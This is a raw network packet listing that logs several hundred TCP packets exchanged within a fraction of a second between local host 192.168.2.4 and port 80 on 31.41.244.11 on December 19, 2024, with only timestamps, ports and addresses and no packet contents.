Dec 19, 2024 06:09:53.440031052 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.440718889 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.440735102 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.440751076 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.440768003 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.440783024 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.440783978 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.440783978 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.440798998 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.440807104 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.440807104 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.440815926 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.440826893 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.440831900 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.440844059 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.440877914 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.440886974 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.440895081 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.440947056 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.441457987 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.441483974 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.441499949 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.441529989 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.441529989 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.441631079 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.441674948 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.441675901 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.441675901 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.441693068 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.441709042 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.441725969 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.441730976 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.441730976 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.441761971 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.441761971 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.442384958 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.442527056 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.442543030 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.442558050 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.442574978 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.442591906 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.442605972 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.442605972 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.442608118 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.442619085 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.442626953 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.442643881 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.442660093 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.442667007 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.442701101 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.442701101 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.442704916 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.442764997 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.443272114 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.443327904 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.443331957 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.443348885 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.443365097 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.443380117 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.443396091 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.443423033 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.443428040 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.443454027 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.443469048 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.443485975 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.443500996 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.443502903 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.443516970 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.443535089 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.443541050 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.443542004 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.443552971 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.443582058 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.443582058 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.443608999 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.444214106 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.444300890 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.444508076 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.444524050 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.444539070 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.444555044 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.444566965 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.444566965 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.444572926 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.444588900 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.444591999 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.444611073 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.444614887 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.444614887 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.444627047 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.444644928 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.444645882 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.444645882 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.444662094 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.444663048 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.444689989 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.444700956 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.445205927 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.445290089 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.445367098 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.445384026 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.445400000 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.445415974 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.445421934 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.445421934 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.445431948 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.445442915 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.445451975 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.445461035 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.445477962 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.445477962 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.446417093 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.446433067 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.446446896 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.446464062 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.446472883 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.446480036 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.446481943 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.446497917 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.446516037 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.446535110 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.446543932 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.446553946 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.446559906 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.446577072 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.446624994 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.446624994 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.447112083 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.447129965 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.447173119 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.447173119 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.447247028 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.447274923 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.447297096 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.447319031 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.447330952 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.447330952 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.447330952 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.447335958 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.447354078 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.447370052 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.447371960 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.447371960 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.447387934 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.447387934 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.447400093 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.447405100 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.447422028 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.447468996 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.447469950 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.447959900 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.448019028 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.448149920 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.448167086 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.448183060 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.448196888 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.448199034 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.448216915 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.448225975 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.448225975 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.448232889 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.448256016 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.448256016 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.448262930 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.448277950 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.448280096 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.448297977 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.448314905 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.448333025 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.448338985 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.448338985 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.448349953 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.448395014 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.448395014 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.448901892 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.448919058 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.448945999 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.448961020 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.448961020 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.448961973 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.449013948 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.449120045 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.449137926 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.449177980 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.449198008 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.450009108 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.450066090 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.450148106 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.450221062 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.451108932 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.451175928 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.451198101 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.451217890 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.452227116 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.452331066 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.452354908 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.452402115 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.453320980 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.453428984 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.453444958 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.453515053 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.454482079 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.454538107 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.454613924 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.454694986 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.461076975 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.461122990 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.461173058 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.461173058 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.546956062 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.547405958 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.547491074 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.547595978 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.548055887 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.548239946 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.548371077 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.548564911 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.549446106 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.549612999 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.549662113 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.550473928 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.550525904 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.550569057 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.551470995 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.551533937 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.551551104 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.552042007 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.552485943 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.552561998 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.552611113 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.553396940 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.553513050 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.553591013 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.554490089 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.554614067 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.554620981 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.555727959 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.555782080 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.555813074 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.556194067 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.556792974 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.556879044 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.556931973 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.557810068 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.557909012 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.557977915 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.559061050 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.559096098 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.559112072 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.560033083 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.560046911 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.560127974 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.560132980 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.560190916 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.561168909 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.561259985 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.561305046 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.561357975 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.562328100 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.562377930 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.562391043 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.562443018 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.563353062 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.563453913 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.563481092 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.563554049 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.564444065 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.564575911 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.564631939 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.565587044 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.565689087 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.565761089 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.566658974 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.566736937 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.566771030 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.566900969 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.567950964 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.568000078 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.568043947 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.568882942 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.568938017 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.568981886 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.569978952 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.570063114 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.570095062 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.570146084 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.571091890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.571265936 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.571332932 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.572366953 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.572428942 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.572523117 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.573303938 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.573380947 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.573425055 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.574417114 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.574466944 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.574539900 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.575524092 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.575551987 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.575588942 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.575588942 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.576616049 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.580055952 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.620886087 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.620970964 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.621155977 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.621450901 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.621535063 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.621686935 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.622560978 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.622612000 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.622673988 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.623693943 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.623788118 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.623811007 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.624089956 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.624772072 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.624885082 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.624936104 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.625878096 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.625973940 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.626075983 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.627005100 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.627105951 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.627211094 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.628082991 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.628201008 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.628288031 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.629218102 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.629291058 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.629303932 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.630315065 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.630409956 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.630434990 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.631412983 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.631464005 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.631535053 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.631635904 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.632514000 CET	80	49860	31.41.244.11	192.168.2.4
